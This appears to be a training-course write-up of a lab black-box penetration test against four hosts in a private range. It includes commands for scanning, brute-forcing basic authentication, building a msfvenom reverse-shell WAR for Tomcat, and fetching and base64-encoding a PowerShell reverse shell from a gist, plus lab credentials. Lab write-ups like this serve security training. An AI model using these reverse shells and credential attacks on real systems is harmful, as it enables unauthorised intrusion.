More Courses

Black Box Test #1

You have been engaged in a Black-box Penetration Test (172.16.64.0/24 range). Your goal is to read the flag file on each machine.

Prework

Connect to VPN

sudo openvpn black-box-penetration-test-1.ovpn

Scan network

sudo nmap -sn 172.16.64.0/24 --exclude 172.16.64.10 -oN hostAlive.nmap &&
cat hostAlive.nmap | grep for | awk {'print $5'} > ips.txt &&
sudo nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open -oX portScan.xml &&
nmap2md.sh portScan.xml | xclip

Scanner

Generated on Sun Jul 11 13:40:33 2021 with nmap 7.91.

nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open -oX portScan.xml

Hosts Alive (4)

HostOSAccuracy

172.16.64.101

Linux 3.12

95%

172.16.64.140

Linux 3.12

95%

172.16.64.182

Linux 3.12

95%

172.16.64.199

Microsoft Windows 10

96%

Open Ports and Running Services

✔️172.16.64.101 (Linux 3.12 - 95%)

PortStateServiceVersion

22/tcp

open

ssh

OpenSSH 7.2p2 Ubuntu 4ubuntu2.8

8080/tcp

open

http

Apache Tomcat/Coyote JSP engine 1.1

9080/tcp

open

http

Apache Tomcat/Coyote JSP engine 1.1

59919/tcp

open

http

Apache httpd 2.4.18

  • Target URL: http://172.16.64.101:8080

  • File Extension: *

  • File with list of dirs/files: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Trying to access unsuccessfully for a couple of times will get you redirected to http://172.16.64.101:8080/manager/html, where the following information is shown:

<role rolename="admin-gui"/>
<user username="tomcat" password="s3cret" roles="admin-gui"/>

http://172.16.64.101:8080/manager/html **** allows you to upload a war file.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.64.10 LPORT=1234 -f war > shell.war

Flag encountered!

tomcat8@xubuntu:/home/developer$ cat flag.txt
Congratulations, you got it!
tomcat8@xubuntu:/home/adminels/Desktop$ cat flag.txt 
You did it!

✔️172.16.64.140 (Linux 3.12 - 95%)

PortStateServiceVersion

80/tcp

open

http

Apache httpd 2.4.18

  • Target URL: http://172.16.64.140

  • File Extension: *

  • File with list of dirs/files: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Found potential relevant information at http://172.16.64.140/project!

However, such information is protected under basic authentication.

wfuzz -z file,/usr/share/seclists/Usernames/top-usernames-shortlist.txt -c --basic FUZZ:FUZZ http://172.16.64.140/project

Discovered credentials to access http://172.16.64.140/project through `wfuzz`!

  • **** http://172.16.64.140/project **** is accessible through basic authentication with admin:admin credentials, as 301 status code is a redirection.

Let's run dirbusteragain against the new scope.

  • Target URL: http://172.16.64.140/project

  • Use HTTP Authentication

    • Username: admin

    • Password: admin

  • File Extension: *

  • File with list of dirs/files: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Found relevant info!

On this url we find the following connection parameters for a SQL database server: http://172.16.64.140:80/project/backup/test/sdadas.txt:

Driver={SQL Server};Server=foosql.foo.com;Database=;Uid=fooadmin;Pwd=fooadmin;
/var/www/html/project/354253425234234/flag.txt

Flag encountered!

Under http://172.16.64.140/project/354253425234234/flag.txt we find the following content:

Congratulations, you exploited this machine!
Now continue to others.

✔️172.16.64.182 (Linux 3.12 - 95%)

PortStateServiceVersion

22/tcp

open

ssh

OpenSSH 7.2p2 Ubuntu 4ubuntu2.8

The credentials we discovered while exploring 172.16.64.199 (Windows machine) do work!

sshpass -p dF3334slKw ssh developer@172.16.64.182

Flag encountered!

sshpass -p dF3334slKw ssh developer@172.16.64.182
developer@xubuntu:~$ find . | grep flag
developer@xubuntu:~$ cat flag.txt 
Congratulations, you got it!

✔️172.16.64.199 (Microsoft Windows 10 - 96%)

PortStateServiceVersion

135/tcp

open

msrpc

Microsoft Windows RPC

139/tcp

open

netbios-ssn

Microsoft Windows netbios-ssn

445/tcp

open

microsoft-ds

1433/tcp

open

ms-sql-s

Microsoft SQL Server 2014 12.00.2000.00; RTM

49664/tcp

open

msrpc

Microsoft Windows RPC

49665/tcp

open

msrpc

Microsoft Windows RPC

49666/tcp

open

msrpc

Microsoft Windows RPC

49667/tcp

open

msrpc

Microsoft Windows RPC

49668/tcp

open

msrpc

Microsoft Windows RPC

49669/tcp

open

msrpc

Microsoft Windows RPC

49670/tcp

open

msrpc

Microsoft Windows RPC

49943/tcp

open

ms-sql-s

Microsoft SQL Server 2014 12.00.2000

# Grab payload
wget https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1;

# Substitute ip and port
sed -i 's/127.0.0.1/172.16.64.10/; s/413/1234/' mini-reverse.ps1;

# Encode payload
cat mini-reverse.ps1 | iconv -f ascii -t utf16 | tail -c +3 | base64 -w 0 > encoded_payload;

# We'll use this payload in our shell
cat encoded_payload

Flag encountered!

cd c:\
where /r c:\ flag.txt
cd c:\Users\AdminELS\Desktop\
cat flag.txt
Congratulations! You exploited this machine!

ssh://developer:dF3334slKw@172.16.64.182:22 seems like a ssh connection string in a `id_rsa.pub` file

PS C:\Users\AdminELS\Desktop> cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAlGWzjgKVHcpaDFvc6877t6ZT2ArQa+OiFteRLCc6TpxJ/lQFEDtmxjTcotik7V3DcYrIv3UsmNLjxKpEJpwqELGBfArKAbzjWXZE0VubmBQMHt4WmBMlDWGcKu8356blxom+KR5S5o+7CpcL5R7UzwdIaHYt/ChDwOJc5VK7QU46G+T9W8aYZtvbOzl2OzWj1U6NSXZ4Je/trAKoLHisVfq1hAnulUg0HMQrPCMddW5CmTzuEAwd8RqNRUizqsgIcJwAyQ8uPZn5CXKWbE/p1p3fzAjUXBbjB0c7SmXzondjmMPcamjjTTB7kcyIQ/3BQfBya1qhjXeimpmiNX1nnQ== rsa-key-20190313###ssh://developer:dF3334slKw@172.16.64.182:22############################################################################################################################################################################################
PreviousBlack Box TestsNextBlack Box Test #2

Last updated